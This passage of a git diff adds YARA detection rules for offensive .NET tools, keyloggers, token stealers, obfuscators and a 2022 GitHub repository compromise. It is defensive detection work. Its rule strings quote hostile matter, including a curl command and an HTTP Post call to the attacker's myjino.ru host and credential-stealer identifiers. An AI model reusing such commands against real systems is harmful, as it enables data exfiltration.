+rule HKTL_NET_NAME_Ghostpack_CompiledBinaries {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "7cc81894-8c01-5a17-a7ed-1cb4cf1e2d53"
+    strings:
+        $name = "Ghostpack-CompiledBinaries" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_metasploit_sharp {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/VolatileMindsLLC/metasploit-sharp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "b425f241-4887-5368-b42b-3fbbd3b769c6"
+    strings:
+        $name = "metasploit-sharp" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_trevorc2 {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/trustedsec/trevorc2"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "d1634a0d-6964-5886-b836-85c3ce6b8a17"
+    strings:
+        $name = "trevorc2" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_NativePayload_DNS2 {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/DamonMohammadbagher/NativePayload_DNS2"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "0fa01355-de57-573e-9056-0b7a5d24572d"
+    strings:
+        $name = "NativePayload_DNS2" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_AggressiveProxy {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/EncodeGroup/AggressiveProxy"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "e2d3c4e2-404b-59f8-b3d0-a7cef4dfd0ff"
+    strings:
+        $name = "AggressiveProxy" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_MSBuildAPICaller {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/rvrsh3ll/MSBuildAPICaller"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "143da57f-b01f-5688-b741-1bc4d06cd7d1"
+    strings:
+        $name = "MSBuildAPICaller" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_GrayKeylogger {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/DarkSecDevelopers/GrayKeylogger"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "c63875b6-1701-5594-927e-833c25dc5d98"
+    strings:
+        $name = "GrayKeylogger" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_weevely3 {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/epinna/weevely3"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "6bf766b6-d065-5a84-8258-3be448b9cbb8"
+    strings:
+        $name = "weevely3" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_FudgeC2 {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/Ziconius/FudgeC2"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "a8e70bce-76dd-53dc-9a19-1cc6795fdef3"
+    strings:
+        $name = "FudgeC2" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_NativePayload_Reverse_tcp {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/DamonMohammadbagher/NativePayload_Reverse_tcp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "a6b935cc-adb6-5ff4-a832-1043e77292f7"
+    strings:
+        $name = "NativePayload_Reverse_tcp" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_SharpHose {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/ustayready/SharpHose"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "89b00eb0-f1a2-5c77-a5b0-2329b08aadb7"
+    strings:
+        $name = "SharpHose" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_RAT_NjRat_0_7d_modded_source_code {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/AliBawazeEer/RAT-NjRat-0.7d-modded-source-code"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "2b7d1f75-0164-561e-8199-32c601cbca98"
+    strings:
+        $name = "RAT-NjRat-0.7d-modded-source-code" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_RdpThief {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/0x09AL/RdpThief"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "5ad4feec-50db-5ebb-a609-9196e72a24aa"
+    strings:
+        $name = "RdpThief" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_RunasCs {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/antonioCoco/RunasCs"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "c5fc5b01-1d30-5af5-be99-e629cb23295b"
+    strings:
+        $name = "RunasCs" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_NativePayload_IP6DNS {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/DamonMohammadbagher/NativePayload_IP6DNS"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "3b32b408-e71a-5f2a-ae6f-72a3d6572b71"
+    strings:
+        $name = "NativePayload_IP6DNS" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_NativePayload_ARP {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/DamonMohammadbagher/NativePayload_ARP"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "9fac11f8-4e40-5cbc-a990-2ae48df20828"
+    strings:
+        $name = "NativePayload_ARP" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_C2Bridge {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/cobbr/C2Bridge"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "357051aa-61ea-5454-a996-b4e3a45ac865"
+    strings:
+        $name = "C2Bridge" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_Infrastructure_Assessment {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/NyaMeeEain/Infrastructure-Assessment"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "efacc12b-92b3-5b22-b5bb-cd5a7d7eea0e"
+    strings:
+        $name = "Infrastructure-Assessment" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_shellcodeTester {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/tophertimzen/shellcodeTester"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "964093a4-e6d7-51b7-928a-b1cd40dc11cc"
+    strings:
+        $name = "shellcodeTester" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_gray_hat_csharp_code {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/brandonprry/gray_hat_csharp_code"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "0a94cadc-cc7b-5817-8788-bb1e53937fad"
+    strings:
+        $name = "gray_hat_csharp_code" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_NativePayload_ReverseShell {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/DamonMohammadbagher/NativePayload_ReverseShell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "eec77c09-02db-5d74-8526-e201d2fe6fc8"
+    strings:
+        $name = "NativePayload_ReverseShell" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_DotNetAVBypass {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/mandreko/DotNetAVBypass"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "918eba2b-150d-5e69-bed0-0979ae889165"
+    strings:
+        $name = "DotNetAVBypass" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_HexyRunner {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/bao7uo/HexyRunner"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "67741b4d-7336-5c88-8f2c-e48c10b187b9"
+    strings:
+        $name = "HexyRunner" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_SharpOffensiveShell {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/darkr4y/SharpOffensiveShell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "f223fb95-9f16-5504-a6ce-de9d75b38eaa"
+    strings:
+        $name = "SharpOffensiveShell" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_reconness {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/reconness/reconness"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "a30188e4-d96a-59d0-9f51-d7a7e07b14ba"
+    strings:
+        $name = "reconness" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_tvasion {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/loadenmb/tvasion"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "324cddc6-36d9-5670-827e-24e80dcc66a9"
+    strings:
+        $name = "tvasion" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_ibombshell {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/Telefonica/ibombshell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "02f3272f-8e75-5df4-9052-a315ae202050"
+    strings:
+        $name = "ibombshell" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_RemoteProcessInjection {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/Mr-Un1k0d3r/RemoteProcessInjection"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "f1698cf2-211a-551a-8bc4-4faefcc6106f"
+    strings:
+        $name = "RemoteProcessInjection" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_CACTUSTORCH {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/mdsecactivebreach/CACTUSTORCH"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "7b1e3015-fada-592c-b120-20aa12247d32"
+    strings:
+        $name = "CACTUSTORCH" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_PandaSniper {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/QAX-A-Team/PandaSniper"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "006400fb-7e6d-563b-ba78-17937983c9ba"
+    strings:
+        $name = "PandaSniper" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_xbapAppWhitelistBypassPOC {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/jpginc/xbapAppWhitelistBypassPOC"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "b05253ce-cba4-531d-8f39-d8fae71b114d"
+    strings:
+        $name = "xbapAppWhitelistBypassPOC" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_StageStrike {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/RedXRanger/StageStrike"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "e3f9de04-87f6-5b07-b5b0-a26167937fcc"
+    strings:
+        $name = "StageStrike" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
diff --git a/yara-Neo23x0/gen_github_repo_compromise_myjino_ru.yar b/yara-Neo23x0/gen_github_repo_compromise_myjino_ru.yar
new file mode 100644
index 0000000..1048515
--- /dev/null
+++ b/yara-Neo23x0/gen_github_repo_compromise_myjino_ru.yar
@@ -0,0 +1,15 @@
+
+rule MAL_Github_Repo_Compromise_MyJino_Ru_Aug22 {
+   meta:
+      description = "Detects URL mentioned in report on compromised Github repositories in August 2022"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/stephenlacy/status/1554697077430505473"
+      date = "2022-08-03"
+      score = 90
+      id = "1eaabad5-d0de-5d17-a5fa-3c638354843d"
+   strings:
+      $x1 = "curl http://ovz1.j19544519.pr46m.vps.myjino.ru" ascii wide
+      $x2 = "http__.Post(\"http://ovz1.j19544519.pr46m.vps.myjino.ru" ascii wide
+   condition:
+      1 of them
+}
diff --git a/yara-Neo23x0/gen_gobfuscate.yar b/yara-Neo23x0/gen_gobfuscate.yar
new file mode 100644
index 0000000..78b3b91
--- /dev/null
+++ b/yara-Neo23x0/gen_gobfuscate.yar
@@ -0,0 +1,18 @@
+
+rule SUSP_GObfuscate_May21 {
+   meta:
+      description = "Identifies binaries obfuscated with gobfuscate"
+      author = "James Quinn, Paul Hager (merged with new similar pattern)"
+      reference = "https://github.com/unixpickle/gobfuscate"
+      date = "2021-05-14"
+      modified = "2024-04-02"
+      score = 70
+      id = "ae518296-b1c3-568c-bae0-3e0a6f7600ba"
+   strings:
+      $s1 = { 0F B6 ?? ?? ?? 0F B6 ?? ?? ?? 31 D? [0-1] 88 ?? ?? ?? 48 FF C? 48 83 F? ?? 7C E6 48 }
+      // $s1a = { 0f b6 ?? ?? ?? 0f b6 ?? ?? ?? 31 d6 40 88 ?? ?? ?? 48 ff c1 48 83 f9 ?? 7c e6 48 } // new
+      // $s1b = { 0f b6 ?? ?? ?? 0f b6 ?? ?? ?? 31 d1    88 ?? ?? ?? 48 ff c0 48 83 f8 ?? 7c e7 48 c7 }
+      $s2 = { 0F B6 ?? ?? ?? 31 DA 88 ?? ?? ?? 40 83 ?? ?? 7D 09 0F B6 }
+   condition:
+      filesize < 50MB and any of them
+}
diff --git a/yara-Neo23x0/gen_google_anomaly.yar b/yara-Neo23x0/gen_google_anomaly.yar
new file mode 100644
index 0000000..154c0e9
--- /dev/null
+++ b/yara-Neo23x0/gen_google_anomaly.yar
@@ -0,0 +1,22 @@
+import "pe"
+
+rule SUSP_Unsigned_GoogleUpdate {
+   meta:
+      description = "Detects suspicious unsigned GoogleUpdate.exe"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2019-08-05"
+      score = 60
+      hash1 = "5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354"
+      id = "2575b882-3526-5c42-9d50-83fb0b7df3f5"
+   strings:
+      /* OriginalName GoogleUpdate.exe */
+      $ac1 = { 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C
+               00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65
+               00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55
+               00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78
+               00 65 }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and $ac1
+      and pe.number_of_signatures < 1
+}
diff --git a/yara-Neo23x0/gen_gpp_cpassword.yar b/yara-Neo23x0/gen_gpp_cpassword.yar
new file mode 100644
index 0000000..d9774ce
--- /dev/null
+++ b/yara-Neo23x0/gen_gpp_cpassword.yar
@@ -0,0 +1,21 @@
+
+rule Groups_cpassword {
+    meta:
+        description = "Groups XML contains cpassword value, which is decrypted password - key is in MSDN http://goo.gl/mHrC8P"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://www.grouppolicy.biz/2013/11/why-passwords-in-group-policy-preference-are-very-bad/"
+        date = "2015-09-08"
+        score = 50
+        id = "37036df9-871f-5ecd-acac-6a064d298115"
+    strings:
+        $s1 = / cpassword=\"[^\"]/ ascii
+        $s2 = " changeLogon=" ascii
+        $s3 = " description=" ascii
+        $s4 = " acctDisabled=" ascii
+    condition:
+        uint32be(0) == 0x3C3F786D  /* <?xm */
+        and filesize < 1000KB
+        and all of ($s*)  
+}
+
diff --git a/yara-Neo23x0/gen_hawkeye.yar b/yara-Neo23x0/gen_hawkeye.yar
new file mode 100644
index 0000000..1a27659
--- /dev/null
+++ b/yara-Neo23x0/gen_hawkeye.yar
@@ -0,0 +1,34 @@
+
+rule HawkEye_Keylogger_Feb18_1 {
+   meta:
+      description = "Semiautomatically generated YARA rule"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://app.any.run/tasks/ae2521dd-61aa-4bc7-b0d8-8c85ddcbfcc9"
+      date = "2018-02-12"
+      modified = "2023-01-06"
+      score = 90
+      hash1 = "bb58922ad8d4a638e9d26076183de27fb39ace68aa7f73adc0da513ab66dc6fa"
+      id = "6b4b447f-43d6-5774-a1b9-d53b40364732"
+   strings:
+      $s1 = "UploadReportLogin.asmx" fullword wide
+      $s2 = "tmp.exe" fullword wide
+      $s3 = "%appdata%\\" wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule MAL_HawkEye_Keylogger_Gen_Dec18 {
+   meta:
+      description = "Detects HawkEye Keylogger Reborn"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/James_inthe_box/status/1072116224652324870"
+      date = "2018-12-10"
+      hash1 = "b8693e015660d7bd791356b352789b43bf932793457d54beae351cf7a3de4dad"
+      id = "1d06f364-a4e2-5632-ad3a-d53a8cddf072"
+   strings:
+      $s1 = "HawkEye Keylogger" fullword wide
+      $s2 = "_ScreenshotLogger" ascii
+      $s3 = "_PasswordStealer" ascii
+   condition:
+      2 of them
+}
diff --git a/yara-Neo23x0/gen_hktl_koh_tokenstealer.yar b/yara-Neo23x0/gen_hktl_koh_tokenstealer.yar
new file mode 100644
index 0000000..b46769b
--- /dev/null
+++ b/yara-Neo23x0/gen_hktl_koh_tokenstealer.yar
@@ -0,0 +1,18 @@
+
+rule HKTL_Koh_TokenStealer
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project."
+        author = "Will Schroeder (@harmj0y)"
+        reference = "https://github.com/GhostPack/Koh"
+        id = "76b6cc9f-5db7-5e9b-939c-e713bad8137a"
+    strings:
+        $x_typelibguid = "4d5350c8-7f8c-47cf-8cde-c752018af17e" ascii
+
+        $s1 = "[*] Already SYSTEM, not elevating" wide fullword
+        $s2 = "S-1-[0-59]-\\d{2}-\\d{8,10}-\\d{8,10}-\\d{8,10}-[1-9]\\d{2}" wide
+        $s3 = "0x[0-9A-Fa-f]+$" wide
+        $s4 = "\\Koh.pdb" ascii
+    condition:
+        uint16(0) == 0x5A4D and 1 of ($x*) or 3 of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/gen_hktl_roothelper.yar b/yara-Neo23x0/gen_hktl_roothelper.yar
new file mode 100644
index 0000000..22a6773
--- /dev/null
+++ b/yara-Neo23x0/gen_hktl_roothelper.yar
@@ -0,0 +1,55 @@
+
+rule EXT_SUSP_OBFUSC_macOS_RootHelper_Obfuscated {
+	meta:
+		author = "im0prtp3"
+		description = "Yara for the public tool 'roothelper'. Used by XCSSET (https://gist.github.com/NullArray/f39b026b9e0d19f1e17390a244d679ec)"
+		reference = "https://twitter.com/imp0rtp3/status/1401912205621202944"
+		date = "2021-06-07"
+		score = 65
+		id = "7ff91c00-8178-525c-bb41-d09cf7cda588"
+	strings:
+		$a1 = "E: neither argv[0] nor $_ works." fullword
+		
+		// Debug Strings - only available when compiled as debug 
+		$b1 = "shll=%s\n" fullword
+		$b2 = "argv[%d]=%.60s\n" fullword
+		$b3 = "getenv(%s)=%s\n" fullword
+		$b4 = "argc=%d\n" fullword
+		$b5 = "argv=<null>\n" fullword
+		
+		$c1 = "%s%s%s: %s\n" fullword
+		$c2 = "x%lx" fullword
+		$c3 = "=%lu %d" fullword
+		$c4 = "%lu %d%c" fullword
+		
+		// Function names
+		$f1 = "rmarg"
+		$f2 = "chkenv"
+		$f3 = "untraceable"
+		$f4 = "arc4"
+		/* $f5 = "xsh" fullword */
+		$f6 = "stte"
+		$f7 = "with_file"
+
+		// "key" function
+		$opcodes_1 = { 99 F7 7D ?? 4C 63 C2 42 0F B6 14 01 0F B6 3D } 
+		// "stte" function
+		$opcodes_2 = { C6 [3] 00 00 00 C6 [3] 00 00 00 C6 [3] 00 00 00 8A 05 [2] 00 00 0F B6 [3] 00 00 89 CA } 
+		// "chkenv" function
+		$opcodes_3 = { E8 [2] FF FF	8B 85 ?? F? FF FF 2B 85 ?? F? FF FF	83 ?? 01 89 85 ?? F? FF FF E9 ?? 00 00 00 } 
+
+		// "rmarg" function
+		$weak_opcodes_1 = {48 8B 45 ?? 48 8B 00 48 3B 45 ??	0F 95 C1 88 4D ??} 
+		$weak_opcodes_2 = {	48 8B 45 ??	48 83 38 ??	0F 95 C1 88 4D ?? } // rmarg
+
+	condition:
+		( uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca ) and (
+			$a1 or 
+			3 of ($b*) or 
+			5 of ($f*) or 
+			all of ($opcodes*) or 
+			( 2 of ($b*) and ( 2 of ($c*) or 2 of ($opcodes*) ) ) or
+			( 3 of ($c*) and 4 of ($f*) ) or
+			( 2 of ($opcodes*) and ( all of ($weak_opcodes*) or 3 of ($c*) ) )
+		)
+}
diff --git a/yara-Neo23x0/gen_hktl_venom_lib.yar b/yara-Neo23x0/gen_hktl_venom_lib.yar
new file mode 100644
index 0000000..66a2c67
--- /dev/null
+++ b/yara-Neo23x0/gen_hktl_venom_lib.yar
@@ -0,0 +1,30 @@
+
+rule HKTL_Venom_LIB_Dec22 {
+   meta:
+      description = "Detects Venom - a library that meant to perform evasive communication using stolen browser socket"
+      author = "Ido Veltzman, Florian Roth"
+      reference = "https://github.com/Idov31/Venom"
+      date = "2022-12-17"
+      score = 75
+      id = "b13b8a9c-52a4-53ac-817e-9f729fbf17c2"
+   strings:
+      $x1 = "[ + ] Created detached hidden msedge process: " fullword ascii
+      
+      $ss1 = "WS2_32.dll" fullword ascii
+      $ss2 = "WSASocketW" fullword ascii
+      $ss3 = "WSADuplicateSocketW" fullword ascii
+      $ss5 = "\\Device\\Afd" wide fullword
+      
+      $sx1 = "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe --no-startup-window" fullword wide
+      $sx2 = "[ + ] Data sent!" fullword ascii
